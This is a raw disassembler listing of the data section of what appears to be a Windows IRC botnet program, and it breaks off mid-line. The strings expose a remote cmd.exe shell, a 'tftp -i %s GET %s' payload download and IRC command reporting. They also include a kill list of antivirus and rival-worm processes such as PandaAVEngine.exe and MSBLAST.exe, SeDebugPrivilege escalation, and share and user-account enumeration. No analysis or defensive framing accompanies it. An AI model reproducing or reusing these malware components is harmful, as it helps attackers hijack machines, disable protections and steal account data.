db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 unk_44298C db 2Dh ; - ; DATA XREF: sub_41281F+ABo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_412A14+26o align 4 aYes db 'Yes',0 ; DATA XREF: sub_412A14+B5o aNo db 'No',0 ; DATA XREF: sub_412A14+BCo align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_412A14+D0o align 4 unk_442A08 db 2Dh ; - ; DATA XREF: sub_412A14+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h unk_442A30 db 2Dh ; - ; DATA XREF: sub_412B35+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_442A50 db 2Dh ; - ; DATA XREF: sub_412B35+94o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_442A80 db 2Dh ; - ; DATA XREF: sub_412B35+B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_412C7B+50o aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_412C7B+81o align 4 aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_412C7B+ACo align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_412C7B+D4o aGuest db 'Guest',0 ; DATA XREF: sub_412C7B:loc_412D94o align 4 aUser_0 db 'User',0 ; DATA XREF: sub_412C7B:loc_412D8Do align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_412C7B:loc_412D86o align 4 aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_412C7B+104o aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_412C7B+125o aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_412C7B+14Do align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_412C7B+178o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_412C7B+1A0o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_412C7B+1CBo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_412C7B+1F3o align 10h aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_412C7B+21Eo align 4 aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_412C7B+246o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_412C7B+271o aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_412C7B+299o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_412C7B+2C4o align 10h aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_412C7B+2ECo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_412C7B+317o aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_412C7B+33Fo align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_412C7B+36Ao align 10h unk_442C30 db 2Dh ; - ; DATA XREF: sub_412C7B+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_413049+29o unk_442C78 db 2Dh ; - ; DATA XREF: sub_413049+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_34 db ' %S',0 ; DATA XREF: sub_413049+BEo align 4 unk_442CAC db 2Dh ; - ; DATA XREF: sub_413049+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_413049+14Fo align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4131C9:loc_41322Co align 4 aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4131C9:loc_41326Do aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4131C9:loc_413236o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4131C9+3Bo align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4131C9:loc_413222o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_4131C9:loc_413218o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4131C9:loc_41320Eo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4131C9:loc_4132D8o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4131C9+89o align 10h aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4131C9:loc_41325Co align 4 aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_4131C9:loc_413266o aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4131C9:loc_4132D1o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_4131C9+CFo db ' the domain.',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4131C9:loc_4132A6o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4131C9:loc_41329Fo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_4131C9:loc_4132ADo db 'ord policy requirement.)',0 align 4 aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4131C9:loc_4132E6o align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_4131C9:loc_413274o aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4131C9:loc_4132DFo align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4131C9:loc_4132CAo align 4 unk_442FA8 db 2Dh ; - ; DATA XREF: sub_4132FD+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 10h dword_442FD0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_4132FD+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h dd 7530h off_443000 dd offset dword_443060 ; DATA XREF: sub_413426+CBo dd offset dword_44306C dd offset dword_44307C dd offset dword_443088 dd offset dword_443094 dd offset dword_4430A0 dd offset dword_4430AC dd offset dword_4430BC dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aMsblast_exe ; "MSBLAST.exe" dd offset aTeekids_exe ; "teekids.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" dword_443060 dd 65676572h, 2E746964h, 657865h ; DATA XREF: sub_413426+ECo ; ___:off_443000o dword_44306C dd 6F63736Dh, 6769666Eh, 6578652Eh, 0 ; DATA XREF: ___:00443004o dword_44307C dd 7374656Eh, 2E746174h, 657865h ; DATA XREF: ___:00443008o dword_443088 dd 6C62736Dh, 2E747361h, 657865h ; DATA XREF: ___:0044300Co dword_443094 dd 7270617Ah, 78652E6Fh, 65h ; DATA XREF: ___:00443010o dword_4430A0 dd 7776616Eh, 652E3233h, 6578h ; DATA XREF: ___:00443014o dword_4430AC dd 6176616Eh, 32337770h, 6578652Eh, 0 ; DATA XREF: ___:00443018o dword_4430BC dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h ; DATA XREF: ___:0044301Co aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00443020o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00443024o align 4 aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: ___:00443028o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: ___:0044302Co aMsblast_exe db 'MSBLAST.exe',0 ; DATA XREF: ___:00443030o aTeekids_exe db 'teekids.exe',0 ; DATA XREF: ___:00443034o aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: ___:00443038o aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: ___:0044303Co aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: ___:00443040o align 10h aWinupd_exe db 'winupd.exe',0 ; DATA XREF: ___:00443044o align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: ___:00443048o align 4 aSsate_exe db 'ssate.exe',0 ; DATA XREF: ___:0044304Co align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: ___:00443050o align 10h aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: ___:00443054o align 10h aIrun4_exe db 'irun4.exe',0 ; DATA XREF: ___:00443058o align 4 aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: ___:0044305Co align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_413426+5Ao align 10h aSD db ' %s (%d)',0 ; DATA XREF: sub_413426+17Do align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_413426+18Bo align 4 aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_413426+19Fo align 4 aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_413426+207o align 4 unk_4431F8 db 2Dh ; - ; DATA XREF: sub_413669+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 unk_443218 db 2Dh ; - ; DATA XREF: sub_413669+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_44323C db 2Dh ; - ; DATA XREF: sub_413669:loc_4136F0o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 10h aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_413806+33o aS_24 db '%s',0 ; DATA XREF: sub_413806+4Co align 4 unk_443274 db 2Dh ; - ; DATA XREF: sub_41388D:loc_413973o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_4432A4 db 2Dh ; - ; DATA XREF: sub_41388D+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_4432CC db 2Dh ; - ; DATA XREF: sub_41388D:loc_4139BFo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0 aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_4139E2+20o unk_443304 db 2Dh ; - ; DATA XREF: sub_4139E2+150o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 unk_443328 db 2Dh ; - ; DATA XREF: sub_4139E2+198o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_413BB4+DEo db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h asc_443390 db 0Dh,0Ah,0 ; DATA XREF: sub_413BB4+F2o align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_413D8F+15o aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_413D8F+1Co align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_413D8F+23o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_413D8F+2Ao align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_413D8F+31o align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_413D8F+38o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_413D8F+3Fo align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_413D8F+46o align 10h aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_413D8F+4Do align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_413D8F+54o align 10h aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_413D8F+5Bo align 10h aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_413D8F+62o aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_413D8F+69o aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_413D8F+70o align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_413D8F+77o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_413D8F+7Eo align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_413D8F+85o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_413D8F+8Co align 10h aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_413D8F+93o align 4 aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_413D8F+9Ao align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_413D8F+A1o aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_413D8F+A8o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_413D8F+AFo align 10h aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_413D8F+B6o align 10h aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_413D8F+BDo aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_413D8F+C4o align 10h dword_443540 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_413D8F+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 dword_4435A0 dd 20646425h, 20686425h, 6D6425h ; DATA XREF: sub_413F6C+52o dword_4435AC dd 3539h ; DATA XREF: sub_414129+46o dword_4435B0 dd 544Eh ; DATA XREF: sub_414129+5Ao dword_4435B4 dd 3839h ; DATA XREF: sub_414129+6Co dword_4435B8 dd 454Dh ; DATA XREF: sub_414129+7Eo dword_4435BC dd 4B32h ; DATA XREF: sub_414129+98o dword_4435C0 dd 5058h ; DATA XREF: sub_414129+AAo a2003 db '2003',0 ; DATA XREF: sub_414129+BAo align 4 a??? db '???',0 ; DATA XREF: sub_414129:loc_4141ECo aSS_5 db '%s (%s)',0 ; DATA XREF: sub_414129+EBo word_4435D8 dw 3Fh ; DATA XREF: sub_414129:loc_41422Br align 4 aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_414129:loc_41428Do align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_414129+192o aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_414129+1AEo align 4 dword_44360C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_414129+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_4436E8 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_4143DD+48o dword_4436F8 dd 6C616944h, 70752Dh ; DATA XREF: sub_4143DD+5Bo off_443700 dd offset dword_4E414C ; DATA XREF: sub_4143DD:loc_41444Ao off_443704 dd offset loc_412F4C+2 ; DATA XREF: sub_4143DD+77o off_443708 dd offset loc_412F4C+2 ; DATA XREF: sub_4143DD+88o dword_44370C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_4143DD+AEo dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh byte_443750 db 63h ; DATA XREF: ___:004147CBo ; ___:004147DEr db 6Dh, 64h, 0 aExit db 'exit',0 ; DATA XREF: ___:00414936o ; ___:loc_414948r align 4 word_44375C dw 4 ; DATA XREF: sub_4144A9+10r align 10h word_443760 dw 1 ; DATA XREF: sub_4144A9+24r align 4 dword_443764 dd 20424652h, 2E333030h, 0A383030h, 0 ; DATA XREF: ___:004145FBo dword_443774 dd 201h ; DATA XREF: ___:0041460Do word_443778 dw 1 ; DATA XREF: ___:00414603r align 4 word_44377C dw 1 ; DATA XREF: ___:0041463Cr align 10h dword_443780 dd 0EBFFh, 51FFh ; DATA XREF: ___:00414622o dword_443788 dd 0DFFh ; DATA XREF: ___:0041462Do word_44378C dw 72h ; DATA XREF: ___:00414648r align 10h dword_443790 dd 6325h ; DATA XREF: ___:004147E6o aTftpISGetS_0 db 'tftp -i %s GET %s',0 ; DATA XREF: ___:00414856o align 4 aC db '%c',0 ; DATA XREF: ___:00414882o align 4 aC_0 db '%c',0 ; DATA XREF: ___:004148F0o align 10h aC_1 db '%c',0 ; DATA XREF: ___:00414950o align 4 asc_4437B4 db '*/*',0 ; DATA XREF: ___:004149EEo dword_4437B8 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: ___:00414B53o dd 4C525520h, 2Eh unk_4437D4 db 2Dh ; - ; DATA XREF: ___:loc_414B65o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h unk_443800 db 2Dh ; - ; DATA XREF: ___:loc_414B6Co db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 10h dword_443830 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: ___:00414B3Fo dd 64657469h, 2Eh unk_44384C db 2Dh ; - ; DATA XREF: ___:loc_414B46o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_443890 dd 1 ; DATA XREF: sub_414EA0+10r ; sub_414EA0+F2r ... dword_443894 dd 26h ; DATA XREF: sub_414EA0:loc_414EECr ; sub_414EA0:loc_415055r ... dword_443898 dd 0FFFFFFFFh ; DATA XREF: sub_414EA0+58r ; sub_4152A0+9Er ... byte_44389C db 0FDh ; DATA XREF: sub_414EA0+2B7r ; sub_414EA0+2D1r ... byte_44389D db 0DDh ; DATA XREF: sub_415890+257r ; sub_415890+39Br ... byte_44389E db 0CDh ; DATA XREF: sub_414EA0+2F1r ; sub_4152A0+377r align 10h off_4438A0 dd offset aFree ; DATA XREF: sub_415890+177r ; sub_415890+1DDr ... ; "Free" dd offset dword_4334B4+20h dd offset dword_4334B4+1Ch dd offset dword_4334B4+14h dd offset dword_4334B4+0Ch align 10h off_4438C0 dd offset dword_4DB7C0 ; DATA XREF: sub_418D40+B3o ; sub_418E90+3o ... align 8 dd offset dword_4DB7C0 dd 101h dword_4438D0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_418D40+11Cw dd 1000h, 0 dword_4438E0 dd 3 dup(0) ; DATA XREF: sub_40AF1B+17Co ; sub_41E730+111o ... dd 2, 0FFFFFFFFh, 3 dup(0) dword_443900 dd 3 dup(0) ; DATA XREF: sub_41E730+11Ao ; sub_420720:loc_420785o dd 2, 0FFFFFFFFh, 83h dup(0) dword_443B20 dd 8 dup(0) ; DATA XREF: sub_418E90+Co ; sub_418F00+Co dword_443B40 dd 173Fh ; DATA XREF: sub_418F70+Br dd 9875h, 9873h off_443B4C dd offset sub_4190B0 ; DATA XREF: ___:00417903r ; ___:0041790Cr dd offset sub_4190E0 dd offset sub_4190E0 dword_443B58 dd 1B3Fh ; DATA XREF: sub_419190+Br dword_443B5C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41977D+2o ; sub_419786+2o dword_443B70 dd 1 ; DATA XREF: sub_40C33C+68r ; sub_416AD0+4Er ... byte_443B74 db 2Eh ; DATA XREF: sub_420920:loc_4217A7r ; sub_420920+ED2r ... align 4 dword_443B78 dd 1 ; DATA XREF: sub_42B250+169w ; sub_42B250+296w align 10h off_443B80 dd offset sub_417960 ; DATA XREF: sub_41A9A0+22r dword_443B84 dd 2 ; DATA XREF: sub_426B30+15r ; sub_426B80+86r ... dword_443B88 dd 0FFFFFFFFh ; DATA XREF: sub_41AB10+80o ; sub_41AB10+108o ... dword_443B8C dd 2 ; DATA XREF: ___:0041AA2Er ; ___:0041AA49r ... dd 2 dup(4) dword_443B98 dd 0FFFFFFFFh ; DATA XREF: ___:0041AA90r ; ___:0041AA9Cr ... dd 2 dup(0FFFFFFFFh) off_443BA4 dd offset aWarning ; DATA XREF: sub_41AEA0+284r ; "Warning" dd offset aError ; "Error" dd offset dword_433CD8+14h dword_443BB0 dd 0 ; DATA XREF: sub_41B6E0+1Fr ; sub_41B6E0+44r ... off_443BB4 dd offset dword_4DB138 ; DATA XREF: sub_41B6A0+29r ; sub_41B6E0+8Fr dd 7 dup(0) off_443BD4 dd offset dword_4DB168 ; DATA XREF: sub_41B6A0+1Cr ; sub_41B6E0:loc_41B749r dd 3 dup(0) off_443BE4 dd offset dword_4DB180 ; DATA XREF: sub_41B6A0+Fr ; sub_41B6E0+75r dd 3 dup(0) off_443BF4 dd offset dword_4DB150 ; DATA XREF: sub_41B6A0+3r ; sub_41B6E0+82r dd 7 dup(0) dd 28F0B30h, 16h dup(0) off_443C70 dd offset sub_41B950 ; DATA XREF: sub_414EA0+79r ; sub_4152A0+C1r ... dd 10h dword_443C78 dd 3F8h ; DATA XREF: sub_41B8E0+7r ; sub_41B960+3Cr ... off_443C7C dd offset word_443C86 ; DATA XREF: sub_416AD0+7Cr ; sub_4173D0+2Dr ... off_443C80 dd offset word_443C86 ; DATA XREF: sub_42B9E0+2A4w ; sub_42B9E0+35Bw db 2 dup(0) word_443C86 dw 20h ; DATA XREF: sub_42B9E0:loc_42BD31o ; sub_42B9E0+35Bo ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) off_443E88 dd offset aNull_0 ; DATA XREF: sub_41E9B0:loc_41EDF2r ; sub_41E9B0+57Cr ; "(null)" off_443E8C dd offset aNull ; DATA XREF: sub_41E9B0+514r ; "(null)" dword_443E90 dd 3 ; DATA XREF: ___:0041F89Fw ; ___:0041F8A4r ... align 8 byte_443E98 db 1 ; DATA XREF: sub_41FB40+12Fr db 2, 4, 8 align 10h dword_443EA0 dd 3A4h ; DATA XREF: sub_41FB40+7Er word_443EA4 dw 8260h ; DATA XREF: sub_41FB40+192r dw 8279h dd 21h, 0 dword_443EB0 dd 0DFA6h ; DATA XREF: sub_41FB40+D5r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_443F90 dd 1 ; DATA XREF: sub_420480+2Cr dword_443F94 dd 16h ; DATA XREF: sub_420480+3Dr dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_4440F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420920:loc_420D42o dword_444100 dd 5Dh, 0 ; DATA XREF: sub_420920:loc_420D1Do dword_444108 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; DATA XREF: sub_41DB50:loc_41DCA6o ; sub_41E730:loc_41E929o dword_444130 dd 14h ; DATA XREF: sub_422F70+1Fr off_444134 dd offset aExp ; DATA XREF: sub_422F70+2Er ; "exp" dd 1Dh, 434138h, 1Ah, 434134h, 1Bh, 43412Ch, 1Fh, 434124h dd 13h, 43411Ch, 21h, 434114h, 0Eh, 43410Ch, 0Dh, 434104h dd 0Fh, 4340FCh, 10h, 4340F4h, 5, 4340ECh, 1Eh, 4340E8h dd 12h, 4340E4h, 20h, 4340E0h, 0Ch, 4340D8h, 0Bh, 4340D0h dd 15h, 4340C8h, 1Ch, 4340C0h, 19h, 4340B8h, 11h, 4340B0h dd 18h, 4340A8h, 16h, 4340A0h, 17h, 434098h, 22h, 434094h dd 23h, 434090h, 24h, 43408Ch dbl_444208 dq 1.797693134862316e308 ; DATA XREF: sub_422B10+E4r ; sub_422B10:loc_422C07r ... dd 0 dd 0FFF80000h dbl_444218 dq 1.797693134862316e308 ; DATA XREF: sub_422B10:loc_422C4Ar ; sub_422B10+167r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_444230 dt 2.3562723457267347066e313 ; DATA XREF: sub_423360+13r ; sub_423360+2Ar align 4 tbyte_44423C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_423360+41r align 4 off_444248 dd offset sub_423B50 ; DATA XREF: sub_4190F0+3w ; sub_41E9B0+6ADr off_44424C dd offset sub_423560 ; DATA XREF: sub_4190F0+Dw ; sub_41E9B0+6F1r off_444250 dd offset sub_423670 ; DATA XREF: sub_4190F0+17w ; sub_420920+1138r off_444254 dd offset sub_4234B0 ; DATA XREF: sub_4190F0+21w ; sub_41E9B0+6CFr off_444258 dd offset sub_423640 ; DATA XREF: sub_4190F0+2Bw off_44425C dd offset sub_423B50 ; DATA XREF: sub_4190F0+35w dd offset sub_42A780 align 10h off_444270 dd offset sub_424890 ; DATA XREF: sub_424940+2Dr ; sub_424940+3Dr dword_444274 dd 43h ; DATA XREF: sub_424DC0:loc_424F2Co ; ___:00444390o ... dword_444278 dd 43h, 20h dup(0) ; DATA XREF: sub_425060+8Do ; sub_425060+117o ... dword_4442FC dd 43h, 20h dup(0) ; DATA XREF: sub_425060+74o ; sub_425060+FCo ... off_444380 dd offset aLc_all ; DATA XREF: ___:00424B4Fr ; ___:00424B68r ... ; "LC_ALL" dword_444384 dd 0 ; DATA XREF: ___:00424A47r ; ___:00424CF0r ... off_444388 dd offset sub_4251F0 ; DATA XREF: sub_424DC0+12Br dd offset aLc_collate ; "LC_COLLATE" dd offset dword_444274 dd offset sub_42BD80 dd offset aLc_ctype ; "LC_CTYPE" off_44439C dd offset dword_444274 ; DATA XREF: sub_424F60+F0r dd offset sub_42B9E0 dd offset aLc_monetary ; "LC_MONETARY" dd offset dword_444274 dd offset sub_42B580 dd offset aLc_numeric ; "LC_NUMERIC" dd offset dword_444274 dd offset sub_42B250 dd offset aLc_time ; "LC_TIME" dd offset dword_444274 dd offset sub_42A8D0 dword_4443C8 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_41F950+6o ; ___:0041FADEo ... dd 